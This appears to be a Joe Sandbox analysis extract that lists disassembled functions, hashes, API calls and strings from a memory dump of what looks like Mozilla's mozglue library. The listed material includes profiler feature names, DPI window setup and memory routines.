Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C65DC08
1, xrefs: 6C65DBDD
0, xrefs: 6C65DC7F
-, xrefs: 6C65D7DD
@, xrefs: 6C65DAF6
9, xrefs: 6C65DE7F
0, xrefs: 6C65D852
, xrefs: 6C65DA88

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C56C7, 6C6C5740, 6C6C9269, 6C6C9459, 6C6C921F, 6C6C5703, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C56C7, 6C6C5740, 6C6C9269, 6C6C9459, 6C6C921F, 6C6C5703, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C7B0B, 6C6C7E0B, 6C6C79FB, 6C6C793C, 6C6C7796

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C7B0B, 6C6C7E0B, 6C6C79FB, 6C6C7C03, 6C6C793C, 6C6C7C72

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

LoadCursorW, xrefs: 6C6B5774
ReleaseDC, xrefs: 6C6B5742
GetSystemMetricsForDpi, xrefs: 6C6B5677
SetWindowPos, xrefs: 6C6B56F7
GetWindowDC, xrefs: 6C6B5710
EnableNonClientDpiScaling, xrefs: 6C6B5666
CreateWindowExW, xrefs: 6C6B56C5
ShowWindow, xrefs: 6C6B56DE
gdi32, xrefs: 6C6B560A
user32, xrefs: 6C6B5601
LoadIconW, xrefs: 6C6B575B
DeleteObject, xrefs: 6C6B57F9
MonitorFromWindow, xrefs: 6C6B578D
StretchDIBits, xrefs: 6C6B57CC
CreateSolidBrush, xrefs: 6C6B57E4
FillRect, xrefs: 6C6B5729
GetMonitorInfoW, xrefs: 6C6B57A2
SetWindowLongPtrW, xrefs: 6C6B57B7
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
GetDpiForWindow, xrefs: 6C6B5690
RegisterClassW, xrefs: 6C6B56AC
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

ipcmessages, xrefs: 6C69CDBE
unregisteredthreads, xrefs: 6C69CE58
nostacksampling, xrefs: 6C69CD7C
preferencereads, xrefs: 6C69CD92
default, xrefs: 6C69CC21
fileioall, xrefs: 6C69CCA8
mainthreadio, xrefs: 6C69CC7C
processcpu, xrefs: 6C69CE6E
fileio, xrefs: 6C69CC92
nativeallocations, xrefs: 6C69CDA8
screenshots, xrefs: 6C69CCD4
jsallocations, xrefs: 6C69CD0E
Unrecognized feature "%s"., xrefs: 6C69CEA0
cpuallthreads, xrefs: 6C69CE16
notimerresolutionchange, xrefs: 6C69CE00
markersallthreads, xrefs: 6C69CE42
audiocallbacktracing, xrefs: 6C69CDD4
stackwalk, xrefs: 6C69CCF8
seqstyle, xrefs: 6C69CCE6
java, xrefs: 6C69CC37
leaf, xrefs: 6C69CC66
samplingallthreads, xrefs: 6C69CE2C
noiostacks, xrefs: 6C69CCBE
power, xrefs: 6C69CE84

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
